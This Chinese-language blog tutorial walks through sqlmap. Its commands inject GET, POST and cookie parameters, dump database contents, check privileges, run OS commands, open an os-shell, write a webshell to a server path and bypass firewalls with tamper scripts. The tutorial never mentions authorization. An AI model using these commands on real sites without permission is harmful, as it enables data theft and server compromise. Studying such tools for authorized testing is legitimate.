SQLAMP入门

SQLAMP入门

  • 1.什么是sqlmap
    • sqlmap是一款命令行界面的开源的渗透测试工具(自动化的SQL注入)
    • sqlmap可以自动化的侦测和实施SQL注入攻击及渗透数据库服务器
    • sqlmap有强大的侦测引擎,可以获取不同数据库的指纹信息、数据,能够处理潜在的文件系统及通过数据连接执行系统命令
  • 2.sqlmap功能作用

    • sqlmap目前支持My是SQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase和SAP MaxDB等数据库类型,采用五种独特的数据库注入方式
      • 基于bool的盲注,即可以根据返回页面判断条件真假的注入
      • 基于time的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间内延迟
      • 语句是否执行来判断(即页面返回时间是否增加)
      • 基于error注入,即页面会返回错误信息,或者注入的语句的结果直接返回在页面中
      • 联合查询union注入,可以使用union的情况下注入
      • 堆查询注入,可以同时执行多条语句的注入
  • 3.sqlmap安装环境

    • 一个kali就搞定
    • 其他环境安装(百度)
      • 1.先准备好Python2.7环境
      • 2.sqlmap安装包
  • 4.三种请求类型的注入探测

    • GET方式 的SQL注入检测

      sqlmap.py -u "URL"
      
    • POST方式的SQL注入检测(火狐浏览器安装插件hackbar抓到包之后可以看到POST数据)

      sqlmap.py -u "URL" --data "POST数据"
      
    • Cookie方式的SQL注入检测(火狐浏览器安装插件firebug,首先要使用该插件创建一个Cookie,Cookie的值为Cookie数据)

      sqlmap.py -u --cookie "Cookie数据"
      
  • 4 获取数据库相关信息

    • 获取数据库的数据库类型以及版本

      • 数据库类型及版本
        • Microsoft SQL Server
        • Mysql
        • Orcle
        • PostgreSQL
      • 如何查看类型及版本

        sqlmap.py -u "URL"
        
    • 获取当前网站所使用的数据库名与用户名

      • 两种常见的数据库结构(两种数据存储结构不同)
        • Microsoft Access(库:表1,表2,表3)
        • Microsoft SQL Server(库1:(表1,表2,表3),库2,库3)
sqlmap.py -u "URL" --currrent-db
//获取当前URL的数据库名
sqlmap.py -u "URL" --current-user
//获取此数据库的用户名
  • 5.获取数据量和用户权限

    • 获取数据库的数据量

      • 拿到了数据库但无法查看怎么办

        sqlmap.py -u "URL" --count -D "数据库名"
        
    • 判断用户的权限

      • 最高权限:增删改查、写入读取文件、执行系统命令

        sqlmap.py -u "URL" --privileges
        //查看用户权限
        
      • 也可以通过查看数据库的用户名来判断权限

        • Microsoft SQL Server :sa
        • Mysql:root

          sqlmap.py -u "URL" --current-user
          
  • 6.Mysql数据库的注入

    • Mysql数据库的结构
      mysql数据库结构:
      (
      库1:(表,列,数据or字段内容),
      库2:(表,列,数据or字段内容),
      库3:(表,列,数据or字段内容)
      )

    • Mysql注入(四步)

      sqlmap.py -u "URL" --current-db  //获取库名
      sqlmap.py -u "URL" --tables-D "数据库名" //获取该库中的表名
      sqlmap.py -u "URL" --columns-T "表名" //获取某个表名的列名
      sqlmap.py -u "URL" --dump -C "列名1(,列名2)"-T "表名" //获取字段内容
      
    • 思考:新的数据库注入
      • 有两款新的数据库类型sqlmap不支持(使用NoSQLMap即可)
        • MongoDB
        • NoSQL
  • 7.管理自己的数据库

    • 如何随时链接自己的数据库

      sqlmap.py -d "mysql://用户名:密码@地址:端口/数据库名"
      例如:
      sqlmap.py -d "mysql://root:root@localhost:3306/test"
      //如果报错,那就是没有安装pymysql(百度)
      
    • 管理自己的数据库

      sqlmap.py -d "mysql://root:root@localhost:3306/test" --sql-shell
      得到:
      sql-shell >            //等待输入,即可管理
      
  • 8.延时注入

    • 延时注入在什么情况下使用

      • 在我们挖掘SQL注入漏洞的过程中,页面无变化,无法用bool真假判断,无法报错的情况下使用延时注入
      • 最精准,耗时长
    • 如何进行延时注入(二者均可)

      sqlmap.py -u "URL" --delay 数值(延时的秒数)
      sqlmap.py -u "URL" -safe-freq
      
  • 9.交互式命令执行和写webshell

    • 什么是交互式(必须是最高权限)
      • 和数据库or “URL”网址的服务器,进行交互
    • SQLMAP进行命令执行(提权)

      sqlmap.py -u "URL" --os-cmd="命令"
      //注意在是使用交互式参数时要知道网站的绝对路径,命令执行后设置中又一个需要你输入绝对路径: d:/www/    ,当我们执行命令是SQLMAP是创建了一个文件在绝对路径之下的,但是执行完之后就自动删除了
      
    • SQLMAP写webshell and (提权)

      sqlmap.py -u "URL" --os-shell
      //教程一路设置4----2---d:/www/----仅供参考
      得到:
      os-shell >
      
  • 10.Tamper脚本的介绍和使用

    • What is Tamper?
      • sqlmap目录下的tamper,里面的脚本有不同的功能来帮助我们使用sqlmap进行高级的SQL注入测试,如:绕过waf
    • 小试Tamper脚本

      • 常规办法(and 1=1)无法注入时

        sqlmap.py -u "URL" --temper="randomcase.py"(脚本名称)
        
    • Tamper脚本总结
  • 10.本地写入webshell

    • 什么是本地写入webshell
      • 上传自己本地自定义的文件
    • 本地写入webshell

      • 在sqlmap目录下创建一个目录(mst)在目录下创建自己想要上传的文件
      • 需要最高权限
      • 需要两个参数

        • 本地文件的(路径)地址
          • –file-write “./mst/mst.txt”
        • 目标文件的(路径)地址

          • –file-dest “d:/www/1.html

            sqlmap.py -u “URL” –file-write “./mst/mst.txt” –file-dest “d:/www/1.html”

  • 11.批量检测注入漏洞

    • 你对批量知多少
      • 将所有的链接写在一个txt文档中,批量检测
    • 批量检测给你招

      sqlmap.py -m g:\ceshi\test.txt(绝对路径)
      
    • 结合BurpSuite进行批量
      • 通过BurpSuite记录一些对网址的请求数据包,设置options– > misc –> Proxy中选中Request -> 设置保存文件名(test.log),在浏览器中设置好代理,通过Proxy模块监听,之后在test.log中就会有记录
      • sqlmap.py -l g:\ceshi\test.log --batch -smart
        //--batch:自动选择yes;-smart:启发式快速判断;--level=(1-5) :要执行的探测水平等级;--risk=(0-3):测试执行的风险等级
        
        • 探测等级:–level;共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads中看到,你也可以根据相应的格式自己添加payload。这个参数不仅影响之前使用的那些payload同事也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候都会测试,HTTP User-Agent/Referer头在level为3的时候就会测试,在不确定那个payload或者参数为注入点的时候建议用高level值
        • 风险等级:–risk;共有四个风险等级默认1,测试大部分语句,2增加基于时间的测试语句,3增加OR语句的SQL注入测试,例如,有时候在UPDATE的语句中,注入一个OR的测试语句,可能导致更新整个表,造成很大的风险,同样在xml/payloads/中找到,也可以自行添加payload
  • 12.SQLMAP注入学习

    • 了解sqlmap目录结构
      • doc/—>>>>sqlmap具体使用说明
      • extra/—>>>>sqlmap的额外功能
      • lib/—>>>>sqlmap多种链接库
      • plugins/—>>>>各种数据库信息和数据库通用事项
      • procs/—>>>>mssqlserver、mysql、Oracle、postgresql的出发程序
      • shell/—>>>>注入成功后多种shell远程连接命令执行的管理数据库
      • tamper/—>>>>绕过脚本
      • thirdparty/—>>>>第三方插件
      • txt/—>>>>字典
      • udf/—>>>>用户自定义的攻击载荷
      • waf/—>>>>常见的防火墙特征,使用–identify-waf进行检测
      • xml/—>>>>数据库的注入检测载荷、旗标信息以及其他信息,可以通过查看分析该文件学习注入技术
    • 学习sqlmap注入
      • -v参数的使用,7个等级,
        • 0:只显示Python错误以及严重的信息;
        • 1:同时显示信息和警告信息;
        • 2:同时显示debug信息;
        • 3:同时显示注入的payload;
        • 4:同时显示HTTP请求;
        • 5:同时显示HTTP响应头;
        • 6:同时显示HTTP相应页面
      • sqlmap.py -u "URL" --dbs -v 3
        
      • 调用BurpSuite(也要配置代理)
      • sqlmap.py -u "URL" --proxy="http://127.0.0.1:8080"
        
-------------本文结束感谢您的阅读-------------
0%